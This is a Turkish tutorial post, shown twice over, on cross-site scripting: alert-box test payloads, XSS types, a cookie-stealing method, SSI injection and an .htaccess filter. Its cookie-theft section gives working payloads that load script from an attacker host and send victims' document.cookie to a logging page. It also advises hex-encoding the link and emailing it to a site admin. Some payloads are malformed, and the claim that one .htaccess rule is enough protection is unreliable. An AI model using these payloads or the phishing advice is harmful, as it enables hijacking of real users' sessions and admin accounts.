XSS Nedir Nasıl Oluşur? XSS Korunma Yolları! - Hacker'lik Okulu
XSS Nedir Nasıl Oluşur?
Öncelikle XSS Sitelerin arama yorum vb. Text kutularında bulunan bir açıktır.
Html kod yazım özelliginin açık unutulmasından meydana gelir.
XSS çok tehlikeli olmayan bir açıktır. Günümüzde çok rastlanır ama pek az kullanılır.

-XSS Açıgı Tespit Etmek?
XSS Açıgını tespit etmek için text kutucuguna bir Html kodu yazmalıyız biz buna alert koduda diyebiliriz.Örnek olarak Alert Kodu "<script>alert.(yildiz)</script>" Enterladıgımızda tarayıcı ekranımıza açılır pencerede "yildiz" yazısı görünecektir.
Böylelikle Sitemizde XSS açıgı olduğunu tespit etmiş olduk.
Simdi XSS Açığını linkimize bakarakta anlayabiliriz. XSS açıkları genelde GET metodlarında olur GET metodu id=12 gibi sayılardan olusan linklerdir.SQL açıklardaki bu linklerde bulunur solmap bazen url tararken "xss vuln detected" tarzında yazabilir dikkat ederseniz XSS'leri oradanda keşfedebilirsiniz.
Örnek olarak
örnek site: com/search.php?id=26363
sitemizin sonundaki sayı değerini silelim "id=" kısmından sonrasına "<script>alert.(yildiz)</script>" alert kodumuzu yazalım yine hatamızı verecektir.

-XSS Alert Kodları!
Bazı Alert Kodları
')alert('xss');
;alert('xss');
<script>alert(123)</script>
<script type=text/javascript>alert("tht")</script> <script>alert ("tht"); </ script>
<script> uyarısı ("tht" /) </ script>
<script>var deger=1;alert("tht")</script>
-XSS Açıgı Türleri?

- Yansıyan XSS: Bu saldırı tipi açıklık bulunan sitede uygun alanlara yazılan javascript kodlarının çalıştırılması ile olur.Burada sadece saldırı yapan kişi etkiyi görebilir ziyaretçilere etki edemez. Peki bunu nasıl atak haline getireceğiz. Burada sosyal mühendislik becerisi devreye giriyor. E-posta kullanarak hedeflere oluşturduğunuz zararlı linki bir şekilde tıklattırmanız ve kendi sunucunuza yönlendirmeniz gerekiyor. Burada saldırgan sizin sitede mevcut olan cookie bilgilerinizi çalabilir.
Depolanmış XSS: Bu saldırı tipi reflected xss saldırısına göre daha çok tehlikelidir. Saldırgan açıklık bulduğu alana zararlı javascript kodlarını ekleyerek veritabanına kaydeder. Veritabanına kaydedilen veriler siteyi ziyaret eden herkese etki eder. Saldırganın koduna göre ziyaretçi etkilenme alanı değişir.
DOM XSS Saldırısı: DOM XSS saldırısı en tehlikeli XSS saldırı türüdür. JavaScript kodlarının zararlı bir şekilde kullanılması ile yapılır. Bu saldırı türünde kullanılan DOM nesneleri ile hedef web sitesinin index’i değiştirilebilir, sayfanın kodları ile oynanabilir, virüs, truva gibi zararlı kodlar sayfaya entegre edilebilir. Sitede gezinirken sizi başka sayfaya yönlendirebilir. ISS kodlarıyla tehlikeli saldırılar yapılabilir.
-XSS Saldırı Şekilleri?
-Cookie Çalma!
İlk olarak Cookie Çalma Olayını anlatalım.
Cookie Çalmak ne işimize yarar cookie yani çerezler admin'in login olduğu zaman tarayıcıların arkaplana kaydettiği beni hatırla tuşuna tıkladığında oluşan şifrelerde bizde bunları çalarak admin id ve şifrenizi ele geçirmiş olucaz.
Peki cookie'yi nasıl çalarız?
Açıklı parametre GET(id=1 gibi) metodu ile alınıyorsa;
http://site.com/index.php?ara=<script src=http://sniffersitemiz.com/a></script>
Burada "a" sayfası kendi hazırladığımızjavascripttir. Kullandığım snifferdan örnek verecek olursam şuna benzer bir kod barındırır;
i=new/**/Image();i.src=http://sniffersitemiz.com/log.php?'+document.cookie+' '+document.location
Burada javascript kodu üzerinden bir image nesnesi oluşturulur ve
http://sniffersitemiz.com/log.php?'+document.cookie+' '+document.location
verileri img src edilir.
log.php sayfamızda ise dışarıdan gelen değerleri loglarız.
Bu sayede document.cookie ve document.location değerlerini loglamış oluruz.
<script src=http://sniffersitemiz.com/a></script> yerine
<script>i=new/**/Image();i.src=http://sniffersitemiz.com/log.php?'%2bdocument.cookie%2b' '+document.location</script>
kodunu da kullanabilirdik, burada amaç karmaşıklığı azaltmak ve mümkün olduğunca özel karakter kullanmamak.
Sonrasinda admine XSS inject edilmis linkimizi yedirmeliyiz ama tabi adama "http://site.com/index.php?ara=<script src=http://sniffersitemiz.com/a></script>" şu şekil link atarsak yemez bizde "ara=" degerinden sonraki kısmı hexlemeliyiz bu şekilde mail yoluyla yolladıgımızda yeme ihtimali daha yüksek olur.
-SSI Kodlarıyla Saldırı!
SSI (server side include) shtml sayfaların çalışma mantığıdır. Sayfa html olsa bile yorum satırı arasına yazılan komutlar client side değil, server side olarak çalıştırılır.
Örnek kullanım şekli şudur;
<!--#echo var="DATE_LOCAL"-->
örneğin yukarıdaki satır bir .shtml sayfada bulunursa; veya sayfa shtml olmasa, php,asp,aspx ve hatta html olsa bile web application serverda SSI ayarları açıksa, ekran'a sistem tarih saatini basacaktır.
Bu özelliği xss ile kombo çekersek sistemde komut çalıştırmamız mümkün olur.
örneğin;
http://site.com/index.php?ara=xss
açığımız olsun
http://site.com/index.php?ara=<!--#echo var="DATE_LOCAL"-->
gönderdiğimizde sayfada tarihi görüyorsak SSI komutları çalıştırabiliriz demektir.

-XSS Korunma Yolları!
Bu açığı kapatmak için pek çok alternatif mevcut ama ".htaccess" dosyasının yapılandırılması yeterli olacaktır. Aşağıdaki kodları sitenizin kök dizininde bulunan veya sayfalarınızın bulunduğu dizindeki ".htaccess" dosyasına ekleyin. Böylece sitenize yapılan herhangi bir XSS saldırısında siteniz hata sayfası vererek erişimi kesecektir.
RewriteEngine On
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]
Öncelikle XSS Sitelerin arama yorum vb. Text kutularında bulunan bir açıktır.
Html kod yazım özelliginin açık unutulmasından meydana gelir.
XSS çok tehlikeli olmayan bir açıktır. Günümüzde çok rastlanır ama pek az kullanılır.

-XSS Açıgı Tespit Etmek?
XSS Açıgını tespit etmek için text kutucuguna bir Html kodu yazmalıyız biz buna alert koduda diyebiliriz.Örnek olarak Alert Kodu "<script>alert.(yildiz)</script>" Enterladıgımızda tarayıcı ekranımıza açılır pencerede "yildiz" yazısı görünecektir.
Böylelikle Sitemizde XSS açıgı olduğunu tespit etmiş olduk.
Simdi XSS Açığını linkimize bakarakta anlayabiliriz. XSS açıkları genelde GET metodlarında olur GET metodu id=12 gibi sayılardan olusan linklerdir.SQL açıklardaki bu linklerde bulunur solmap bazen url tararken "xss vuln detected" tarzında yazabilir dikkat ederseniz XSS'leri oradanda keşfedebilirsiniz.
Örnek olarak
örnek site: com/search.php?id=26363
sitemizin sonundaki sayı değerini silelim "id=" kısmından sonrasına "<script>alert.(yildiz)</script>" alert kodumuzu yazalım yine hatamızı verecektir.

-XSS Alert Kodları!
Bazı Alert Kodları
')alert('xss');
;alert('xss');
<script>alert(123)</script>
<script type=text/javascript>alert("tht")</script> <script>alert ("tht"); </ script>
<script> uyarısı ("tht" /) </ script>
<script>var deger=1;alert("tht")</script>
-XSS Açıgı Türleri?

- Yansıyan XSS: Bu saldırı tipi açıklık bulunan sitede uygun alanlara yazılan javascript kodlarının çalıştırılması ile olur.Burada sadece saldırı yapan kişi etkiyi görebilir ziyaretçilere etki edemez. Peki bunu nasıl atak haline getireceğiz. Burada sosyal mühendislik becerisi devreye giriyor. E-posta kullanarak hedeflere oluşturduğunuz zararlı linki bir şekilde tıklattırmanız ve kendi sunucunuza yönlendirmeniz gerekiyor. Burada saldırgan sizin sitede mevcut olan cookie bilgilerinizi çalabilir.
Depolanmış XSS: Bu saldırı tipi reflected xss saldırısına göre daha çok tehlikelidir. Saldırgan açıklık bulduğu alana zararlı javascript kodlarını ekleyerek veritabanına kaydeder. Veritabanına kaydedilen veriler siteyi ziyaret eden herkese etki eder. Saldırganın koduna göre ziyaretçi etkilenme alanı değişir.
DOM XSS Saldırısı: DOM XSS saldırısı en tehlikeli XSS saldırı türüdür. JavaScript kodlarının zararlı bir şekilde kullanılması ile yapılır. Bu saldırı türünde kullanılan DOM nesneleri ile hedef web sitesinin index’i değiştirilebilir, sayfanın kodları ile oynanabilir, virüs, truva gibi zararlı kodlar sayfaya entegre edilebilir. Sitede gezinirken sizi başka sayfaya yönlendirebilir. ISS kodlarıyla tehlikeli saldırılar yapılabilir.
-XSS Saldırı Şekilleri?
-Cookie Çalma!
İlk olarak Cookie Çalma Olayını anlatalım.
Cookie Çalmak ne işimize yarar cookie yani çerezler admin'in login olduğu zaman tarayıcıların arkaplana kaydettiği beni hatırla tuşuna tıkladığında oluşan şifrelerde bizde bunları çalarak admin id ve şifrenizi ele geçirmiş olucaz.
Peki cookie'yi nasıl çalarız?
Açıklı parametre GET(id=1 gibi) metodu ile alınıyorsa;
http://site.com/index.php?ara=<script src=http://sniffersitemiz.com/a></script>
Burada "a" sayfası kendi hazırladığımızjavascripttir. Kullandığım snifferdan örnek verecek olursam şuna benzer bir kod barındırır;
i=new/**/Image();i.src=http://sniffersitemiz.com/log.php?'+document.cookie+' '+document.location
Burada javascript kodu üzerinden bir image nesnesi oluşturulur ve
http://sniffersitemiz.com/log.php?'+document.cookie+' '+document.location
verileri img src edilir.
log.php sayfamızda ise dışarıdan gelen değerleri loglarız.
Bu sayede document.cookie ve document.location değerlerini loglamış oluruz.
<script src=http://sniffersitemiz.com/a></script> yerine
<script>i=new/**/Image();i.src=http://sniffersitemiz.com/log.php?'%2bdocument.cookie%2b' '+document.location</script>
kodunu da kullanabilirdik, burada amaç karmaşıklığı azaltmak ve mümkün olduğunca özel karakter kullanmamak.
Sonrasinda admine XSS inject edilmis linkimizi yedirmeliyiz ama tabi adama "http://site.com/index.php?ara=<script src=http://sniffersitemiz.com/a></script>" şu şekil link atarsak yemez bizde "ara=" degerinden sonraki kısmı hexlemeliyiz bu şekilde mail yoluyla yolladıgımızda yeme ihtimali daha yüksek olur.
-SSI Kodlarıyla Saldırı!
SSI (server side include) shtml sayfaların çalışma mantığıdır. Sayfa html olsa bile yorum satırı arasına yazılan komutlar client side değil, server side olarak çalıştırılır.
Örnek kullanım şekli şudur;
<!--#echo var="DATE_LOCAL"-->
örneğin yukarıdaki satır bir .shtml sayfada bulunursa; veya sayfa shtml olmasa, php,asp,aspx ve hatta html olsa bile web application serverda SSI ayarları açıksa, ekran'a sistem tarih saatini basacaktır.
Bu özelliği xss ile kombo çekersek sistemde komut çalıştırmamız mümkün olur.
örneğin;
http://site.com/index.php?ara=xss
açığımız olsun
http://site.com/index.php?ara=<!--#echo var="DATE_LOCAL"-->
gönderdiğimizde sayfada tarihi görüyorsak SSI komutları çalıştırabiliriz demektir.

-XSS Korunma Yolları!
Bu açığı kapatmak için pek çok alternatif mevcut ama ".htaccess" dosyasının yapılandırılması yeterli olacaktır. Aşağıdaki kodları sitenizin kök dizininde bulunan veya sayfalarınızın bulunduğu dizindeki ".htaccess" dosyasına ekleyin. Böylece sitenize yapılan herhangi bir XSS saldırısında siteniz hata sayfası vererek erişimi kesecektir.
RewriteEngine On
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]
Yorumlar
Yorum Gönder